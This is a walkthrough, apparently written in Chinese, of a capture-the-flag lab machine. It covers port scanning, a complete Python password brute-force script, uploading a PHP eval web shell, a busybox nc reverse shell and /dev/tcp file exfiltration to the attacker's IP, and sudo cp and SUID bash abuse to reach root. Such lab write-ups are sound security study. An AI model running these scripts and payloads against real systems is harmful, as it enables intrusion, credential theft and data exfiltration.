- 正文
- 1、端口扫描
- 2、web登录页面用户密码爆破
- 3、文件上传漏洞利用
- 4、nc 反弹
- 5、Linux用户检索与特权分析
- 6、图片隐写
- 7、解密与格式转换
- 8、cp命令横向获取用户密码
- 9、diff命令进行文件比较
正文
kali攻击机地址:192.168.1.4
靶场地址:192.168.1.15
1、端口扫描
在kali里,使用nmap工具:
nmap-sV-v-T4-A192.168.1.15
发现80和22端口开放,访问网页:
2、web登录页面用户密码爆破
抓包发现不填验证码,输入用户名和密码,也能返回“无效的用户名和密码”:
编写密码爆破脚本1.py:
importrequestsimportrandomimportsysfromCrypto.PublicKeyimportRSAfromCrypto.CipherimportPKCS1_v1_5frombase64importb64encodefromtypingimportOptional,Dict# 全局会话,复用连接session=requests.Session()# 设置全局请求超时(秒)TIMEOUT=10# 目标登录URLLOGIN_URL="http://192.168.1.15/login.php"# RSA公钥(去除多余缩进,避免解析失败)PUBLIC_KEY="""-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtLlBu4KjqP4t7Bc6bf/2 1TrHJbKl5iGfAlxn/c1WxbjhA/BRoQNpGX7+8oROMarMDJnS2ddJBtpdAnovE3o+ NX45Eb1eTH9Isis/3mIXgVhuQ0Fhi11eo82hFQRXZOolJwfGqm7lL4r6OQJ96zur IodiC2uxcmR/+YDjrhZhMlUYG2/OTm1bROEg1FV9gARh27SA4/VLbBsst69wS8Wj m5fPQGd31QBN/8UvwyT/QCTpQdxV3PARXORVsdYLD+iNSrwwO/+cq6gNwthLxhbS he40vUae0GtJjpkD5xJhkRXGuoj/D3/cd4KytNeiGezIeLQr+AER6kf6B8vHoPfk eQIDAQAB -----END PUBLIC KEY-----"""defencrypt_password(password:str)->Optional[str]:""" RSA加密密码(兼容前端JSEncrypt的PKCS1_v1_5填充) :param password: 原始密码字符串 :return: 加密后的base64字符串,失败返回None """try:rsa_key=RSA.importKey(PUBLIC_KEY)cipher=PKCS1_v1_5.new(rsa_key)# 加密(需编码为bytes)encrypted_bytes=cipher.encrypt(password.encode("utf-8"))# base64编码并转回字符串returnb64encode(encrypted_bytes).decode("utf-8")exceptExceptionase:print(f"[!] 密码加密失败:{e}| 密码:{password}")returnNonedeflogin(username:str,password:str)->Optional[Dict]:""" 发送登录请求 :param username: 用户名 :param password: 原始密码 :return: 登录响应的JSON数据,失败返回None """# 加密密码enc_password=encrypt_password(password)ifnotenc_password:returnNone# 登录请求参数data={"username":username,"password":enc_password,"captcha":""# 若目标需验证码,需补充验证码识别/输入逻辑}try:# 发送POST请求(JSON格式)response=session.post(url=LOGIN_URL,json=data,timeout=TIMEOUT,headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36","Content-Type":"application/json"})# 检查响应状态码response.raise_for_status()returnresponse.json()exceptrequests.exceptions.Timeout:print(f"[!] 登录请求超时({TIMEOUT}秒) | 密码:{password}")exceptrequests.exceptions.ConnectionError:print(f"[!] 目标服务器连接失败 | 密码:{password}")exceptrequests.exceptions.HTTPErrorase:print(f"[!] HTTP请求错误:{e}| 密码:{password}")exceptExceptionase:print(f"[!] 登录请求异常:{e}| 密码:{password}")returnNonedefbrute_force_login(username:str,pass_file_path:str)->None:""" 密码爆破主逻辑 :param username: 目标用户名 :param pass_file_path: 密码字典文件路径 """# 读取密码字典try:withopen(pass_file_path,"r",encoding="utf-8")asf:passwords=[line.strip()forlineinfifline.strip()]exceptFileNotFoundError:print(f"[!] 密码文件不存在:{pass_file_path}")sys.exit(1)exceptPermissionError:print(f"[!] 无权限读取密码文件:{pass_file_path}")sys.exit(1)exceptExceptionase:print(f"[!] 读取密码文件异常:{e}")sys.exit(1)total=len(passwords)iftotal==0:print("[!] 密码字典为空")sys.exit(1)print(f"[*] 开始密码爆破 | 用户名:{username}| 密码总数:{total}")print("-"*50)# 遍历密码爆破foridx,passwordinenumerate(passwords,1):print(f"[{idx}/{total}] 尝试密码:{password}",end=" ")result=login(username,password)ifnotresult:print("→ 请求失败")continue# 登录成功判断(根据实际响应调整success字段)ifresult.get("success"):print("\n"+"="*50)print(f"[+] 爆破成功!用户名:{username}| 密码:{password}")print("="*50)# 可在此处添加后续操作(如访问后台、保存结果等)sys.exit(0)else:error_msg=result.get("error","未知错误")print(f"→ 登录失败:{error_msg}")# 爆破完成未找到密码print("-"*50)print("[!] 密码爆破完成,未找到有效密码")if__name__=="__main__":# 命令行参数校验(用法:python 1.py <用户名> <密码字典路径>)iflen(sys.argv)!=3:print("用法:python {} <用户名> <密码字典文件路径>".format(sys.argv[0]))print("示例:python {} admin pass.txt".format(sys.argv[0]))sys.exit(1)# 获取命令行参数target_username=sys.argv[1]target_pass_file=sys.argv[2]# 执行爆破brute_force_login(target_username,target_pass_file)拿到admin用户密码:justine
3、文件上传漏洞利用
登录进去后是个文件上传:
目录扫描能扫出来文件上传的路径:
dirsearch-u192.168.1.15
上传一句话木马文件到/uploads/目录下:
<?php @eval($_POST['x']);?>4、nc 反弹
蚁键右键打开终端,输入:
busyboxnc192.168.1.44444-e/bin/bashkail记得开启4444端口监听:
nc-lp4444kali调整bash格式:
/usr/bin/script-qc/bin/bash /dev/null CTRL+Z stty raw -echo;fgreset xterm5、Linux用户检索与特权分析
回到家目录,发现两个用户ihatemath和ilovelinux:
从根目录开始,查找所有 “所属用户组是 ihatemath”、 “所属用户组是 ilovelinux” 的文件或目录,同时忽略查找过程中出现的权限不足、文件不存在等错误提示:
find/-groupihatemath2>/dev/nullfind/-groupilovelinux2>/dev/null
将本地/var/local/images.jpg文件内容,通过TCP协议发送到 IP 为 192.168.1.4、端口为 1234 的远程主机上。
cat/var/local/images.jpg>/dev/tcp/192.168.1.4/1234kail配置:
nc-lvp1234>images.jpg# 用nc监听,接收数据并写入文件# 若无nc,也可通过bash监听:cat > received_images.jpg < /dev/tcp/0.0.0.0/12346、图片隐写
查看图片隐藏属性:
exiftool images.jpg发现摩斯码:
7、解密与格式转换
解码后发现还要转HEX:
转换后,拿到ilovelinux用户的hash密码48415050595f445241474f4e5f424f41545f464553544956414c:
sshilovelinux@192.168.1.15#然后输入密码查看ilovelinux用户的特权操作:
| 输出内容 | 含义 |
|---|---|
Matching Defaults entries for ilovelinux on cp520: | 开始展示ilovelinux用户在cp520主机上的 sudo 默认配置 |
env_reset, mail_badpass, secure_path=... | sudo 默认配置项: - env_reset:执行 sudo 命令时重置环境变量,保证安全- mail_badpass:密码错误时发送邮件提醒(通常给 root)- secure_path:sudo 执行命令时的默认 PATH 路径(限定命令查找范围,防止恶意脚本) |
User ilovelinux may run the following commands on cp520: | 核心结果:明确ilovelinux用户在cp520主机上可执行的 sudo 命令 |
(ihatemath) /bin/cp | 授权详情(最关键): - (ihatemath):可切换到ihatemath用户身份执行(括号内是允许切换的用户,若为(ALL)则可切换到任意用户)- /bin/cp:仅允许执行/bin/cp命令(Linux 系统的文件复制命令) |
8、cp命令横向获取用户密码
那就执行复制命令,拿到ihatemath用户的口令3c5611f0ae3f:
touch/tmp/achmod777/tmp/als-l/tmp/asudo-uihatemath /bin/cp /opt/ihatemath.pass /tmp/acat/tmp/a| 命令 / 输出内容 | 含义与核心目的 |
|---|---|
touch /tmp/a | 核心操作:在/tmp目录创建空文件a。✨ 目的:为后续复制敏感文件内容做 “载体”( /tmp是所有用户可读写的公共目录)。 |
chmod 777 /tmp/a | 核心操作:修改/tmp/a的权限为777(所有用户可读、可写、可执行)。✨ 目的:确保 ihatemath用户(后续执行cp的身份)能向这个文件写入内容,避免权限不足。 |
ls -l /tmp/a | 验证操作:查看/tmp/a的权限和属性。输出解读: - -rwxrwxrwx:权限为 777(所有人可读写执行);- 1 ilovelinux ilovelinux:文件属主 / 属组是ilovelinux;- 0:文件大小为 0(空文件);✨ 目的:确认权限修改成功,为后续复制铺路。 |
sudo -u ihatemath /bin/cp /opt/ihatemath.pass /tmp/a | 核心利用:以ihatemath用户身份执行授权的/bin/cp命令,将/opt/ihatemath.pass(ilovelinux无权限直接读取的敏感文件)复制到/tmp/a。✨ 关键: ilovelinux本身读不了/opt/ihatemath.pass,但能通过sudo切换到ihatemath执行cp,间接获取文件内容。 |
cat /tmp/a | 读取结果:查看/tmp/a的内容,输出3c5611f0ae3f(大概率是ihatemath的密码哈希 / 明文密码)。✨ 目的:通过可读写的 /tmp/a,拿到原本无权限访问的敏感文件内容。 |
su -成功切换到ihatemath用户:
查看ihatemath用户的特权操作,并执行:
9、diff命令进行文件比较
通过以下命令拿到root目录下的flag:
diffwhatsthis /bin/bash ./whatsthis-pcd/root| 命令 / 输出内容 | 含义与核心目的 |
|---|---|
diff whatsthis /bin/bash | diff命令对比whatsthis和系统原生/bin/bash。✨ 无任何输出,说明两个文件二进制内容完全一致, whatsthis是bash的完整副本。 |
./whatsthis -p | 执行当前目录下的whatsthis文件,并传入-p参数。✨ -p是bash的特权模式参数,作用是:即使进程的有效用户 ID(EUID)与实际用户 ID(UID)不一致,也不重置环境变量、不降低权限,保留特权。 |
cd /ro | 执行./whatsthis -p后,提示符从$变成了#,说明你已经获得了root 权限(#是 root 用户的提示符)。后面的 cd /ro是输入到一半的命令,大概率是cd /root(切换到 root 家目录)。 |